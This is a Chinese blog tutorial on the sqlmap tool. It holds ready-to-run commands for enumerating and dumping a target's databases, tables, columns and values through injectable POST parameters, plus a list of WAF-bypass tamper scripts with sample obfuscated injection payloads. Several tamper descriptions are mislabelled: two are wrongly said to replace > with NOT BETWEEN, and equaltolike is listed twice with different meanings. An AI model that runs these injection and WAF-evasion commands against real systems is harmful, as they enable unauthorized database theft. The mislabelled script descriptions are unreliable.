sqlmap工具的使用 (超详细附工具版)_python sqlmap

简介: sqlmap工具的使用 (超详细附工具版)_python sqlmap
POST请求

方法一

  • 查询所有数据库;(注:需将post数据保存为指定文件,例如:C:\1.txt)

python sqlmap.py -r “保存文件路径” --dbs

  • 查询指定数据库中所有表;

python sqlmap.py -r “保存文件路径” -D “库名” --tables

  • 查询指定表中字段名;

python sqlmap.py -r “保存文件路径” -D “库名” -T “表名” --columns

  • 查询指定表中字段值;

python sqlmap.py -r “保存文件路径” -D “库名” -T “表名” -C “字段名” --dump

方法二

  • 查询所有数据库;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit --dbs

  • 查询指定数据库中所有表;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” --tables

  • 查询指定表中字段名;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” -T “表名” --columns

  • 查询指定表中字段值;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” -T “表名” -C “字段名” --dump

进阶使用

绕过waf

–identify-waf 检测是否有WAF

  • 使用方法

python sqlmap.py -u “http://x.x.x.x/” --dbs --tamper=xxx.py

大概脚本如下

apostrophemask.py脚本:将引号替换为utf-8,用于过滤单引号
1 AND '1'='1 替换为 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py脚本:替换为base64编码
1' AND SLEEP(5)# 替换为 MScgQU5EIFNMRUVQKDUpIw==

space2plus.py脚本:用加号替换空格
SELECT id FROM users 替换为 SELECT+id+FROM+users

nonrecursivereplacement.py脚本:作为双重查询语句,用双重语句替代预定义的sql关键字
1 UNION SELECT 2-- 替换为 1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py脚本:将空格替换为其他有效字符
SELECT id FROM users 替换为 SELECT%0Did%0DFROM%0Ausers

unionalltounion.py脚本:将union allselect 替换为unionselect
-1 UNION ALL SELECT 替换为 -1 UNION SELECT

securesphere.py脚本:追加特定的字符串
1 AND 1=1 替换为 1 AND 1=1 and '0having'='0having

multiplespaces.py脚本:围绕sql关键字添加多个空格
1 UNION SELECT foobar 替换为 1 UNION SELECT foobar

space2dash.py脚本:将空格替换为–,并添加一个随机字符串和换行符
1 AND 9227=9227 替换为 1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py脚本:将空格随机替换为其他空格符号(%01,%02,%03,%04,%05,%06,%07,%08,%09,%0B,%0C,%0D,%0E,%0F,%0A)
SELECT id FROM users 替换为 SELECT%0Eid%0DFROM%07users

between.py脚本:用NOT BETWEEN 0 AND 替换 >
1 AND A > B-- 替换为 1 AND A NOT BETWEEN 0 AND B--

percentage.py脚本:在每个字符前添加一个%
SELECT FIELD FROM TABLE 替换为 %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py脚本:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
1 AND 9227=9227-- 替换为 1 AND 9227=9227-- sp_password

randomcase.py脚本:随机大小写
INSERT 替换为 INseRt

charencode.py脚本:对给定的payload全部字符使用url编码 (不处理已经编码的字符)
SELECT FIELD FROM%20TABLE 替换为 %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

charunicodeencode.py脚本:用NOT BETWEEN 0 AND 替换 >
SELECT FIELD%20FROM TABLE 替换为 %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py脚本:将空格替换为 /**/
SELECT id FROM users 替换为 SELECT/**/id/**/FROM/**/users

equaltolike.py脚本:将 = 替换为 LIKE
SELECT * FROM users WHERE id=1 替换为 SELECT * FROM users WHERE id LIKE 1

randomcomments.py脚本:用 NOT BETWEEN 0 AND 替换 >
INSERT 替换为 I/**/N/**/SERT

equaltolike.py脚本:将 > 替换为 GREATEST,绕过对 > 的过滤
1 AND A > B 替换为 1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py脚本:绕过对 IFNULL 的过滤
IFNULL(1, 2) 替换为 IF(ISNULL(1),2,1)

modsecurityversioned.py脚本:过滤空格,使用mysql内联注释的方式进行注入
1 AND 2>1-- 替换为 1 /*!30874AND 2>1*/--


相关文章
|
12天前
|
机器学习/深度学习 XML 搜索推荐
图像自动化保存工具:Python脚本开发指南
图像自动化保存工具:Python脚本开发指南
|
17天前
|
存储 安全 数据安全/隐私保护
打造安全防线!Python AES&RSA加密工具,黑客绕道走的秘籍
【8月更文挑战第3天】数字化时代下,信息安全至关重要。本文介绍如何用Python结合AES与RSA构建加密工具。AES因其高效加密大量数据的能力而被选中;RSA作为非对称加密算法,在密钥管理和数字签名上表现出色。先安装`pycryptodome`库,接着实现AES加密解密功能,并利用RSA加密AES密钥以安全传递。这套方案不仅速度快,还能有效保障数据安全,为开发者提供坚实的信息防护屏障。
27 5
|
5天前
|
API 数据库 开发者
Python连接Neo4j工具比较 Neo4j Driver、py2neo
Python连接Neo4j工具比较 Neo4j Driver、py2neo
5 0
|
5天前
|
存储 Linux 网络安全
常用的 Python 工具:使用 virtualenv、使用 Pip 进行安装和管理包
常用的 Python 工具:使用 virtualenv、使用 Pip 进行安装和管理包
9 0
|
6天前
|
运维 监控 大数据
深入探讨网络自动化的魅力所在,以及如何利用Python这一强大工具,实现网络设备的批量配置与监控
在信息洪流的浪潮中,网络自动化如同一盏明灯,引领着我们穿越复杂网络管理的迷雾。它不仅简化了网络运维人员的工作,更是在大数据、云计算等技术飞速发展的背景下,成为了构建高效、稳定网络环境的关键。本文将深入探讨网络自动化的魅力所在,以及如何利用Python这一强大工具,实现网络设备的批量配置与监控,以此展现网络自动化在简化复杂网络管理中的重要作用。
18 0
|
1月前
|
SQL API Python
`bandit`是一个Python静态代码分析工具,专注于查找常见的安全漏洞,如SQL注入、跨站脚本(XSS)等。
`bandit`是一个Python静态代码分析工具,专注于查找常见的安全漏洞,如SQL注入、跨站脚本(XSS)等。
|
1月前
|
网络协议 安全 Shell
`nmap`是一个开源的网络扫描工具,用于发现网络上的设备和服务。Python的`python-nmap`库允许我们在Python脚本中直接使用`nmap`的功能。
`nmap`是一个开源的网络扫描工具,用于发现网络上的设备和服务。Python的`python-nmap`库允许我们在Python脚本中直接使用`nmap`的功能。
|
1月前
|
数据采集 并行计算 数据处理
工具人必看:Python并发编程工具箱大揭秘,IO与CPU密集型任务的最佳拍档!
【7月更文挑战第16天】Python并发编程助力IO密集型(asyncio+aiohttp,异步Web爬虫示例)和CPU密集型(multiprocessing,并行计算数组和)任务。asyncio利用单线程异步IO提升Web应用效率,multiprocessing通过多进程克服GIL限制,实现多核并行计算。善用这些工具,可优化不同场景下的程序性能。
30 1
|
17天前
|
消息中间件 网络协议 Python
工具人逆袭!掌握Python IPC,让你的进程从此告别单打独斗
【8月更文挑战第3天】你是否苦恼于Python程序间的“信息孤岛”现象?进程间通信(IPC)技术能助你打破壁垒。IPC是使不同进程共享数据或信号的方法。因全局解释器锁(GIL),多进程配合IPC成为高效处理数据的选择。Python提供管道、消息队列、共享内存等多种IPC手段。例如,管道适合简单父子或兄弟进程通信;套接字不仅限于网络通信,还能实现本地进程间复杂数据交换。掌握IPC,让你的进程协同作战,构建更强大灵活的系统。
9 0
|
1月前
|
数据可视化 Python
时间序列分析是一种统计方法,用于分析随时间变化的数据序列。在金融、经济学、气象学等领域,时间序列分析被广泛用于预测未来趋势、检测异常值、理解周期性模式等。在Python中,`statsmodels`模块是一个强大的工具,用于执行各种时间序列分析任务。
时间序列分析是一种统计方法,用于分析随时间变化的数据序列。在金融、经济学、气象学等领域,时间序列分析被广泛用于预测未来趋势、检测异常值、理解周期性模式等。在Python中,`statsmodels`模块是一个强大的工具,用于执行各种时间序列分析任务。